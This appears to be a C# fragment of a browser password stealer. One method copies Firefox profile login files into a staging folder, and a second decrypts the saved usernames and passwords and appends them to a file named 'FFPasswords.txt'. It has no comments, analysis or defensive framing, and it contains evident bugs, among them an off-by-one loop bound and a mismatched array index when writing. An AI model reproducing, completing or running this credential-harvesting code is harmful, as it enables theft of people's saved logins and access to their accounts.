public static void CopyLoginsInSafeDir(bool Recursive = true) { HomeDirectory.Create(User_Name, Recursive); /* * foreach (string ss in Massive) * { * string FullDLL = Path.Combine(MozPath.GetRegistryFireFox(), ss.ToString()); * Console.WriteLine(FullDLL); * File.Copy(FullDLL, Path.Combine(User_Name, Path.GetFileName(FullDLL))); * } */ try { for (int i = 0; i <= Massive.Length; i++) { try { string FullDLL = Path.Combine(MozPath.GetRegistryFireFox(), Massive[i]); if (File.Exists(FullDLL)) { File.Copy(FullDLL, Path.Combine(User_Name, Path.GetFileName(FullDLL))); GetSecureFile(User_Name, Massive[i]); } } catch (UnauthorizedAccessException) { } catch (IndexOutOfRangeException) { } catch (ArgumentException) { } catch (IOException) { } } } catch (OverflowException) { } }
public static void GetPassword(List <string[]> general) { DeserealizeAndPars(); int count = general.Count; string[] array = new string[4]; array[0] = "########################"; array[1] = MozPath.GetRandomFF(); array[2] = "########################"; general.Add(array); for (int i = 0; i < data.Count; i++) { general.Add(new string[] { $"{count + i + 1})", data[i][0], Decoder.Decrypt(data[i][1]), Decoder.Decrypt(data[i][2]) }); File.AppendAllText("FFPasswords.txt", array[i]); } }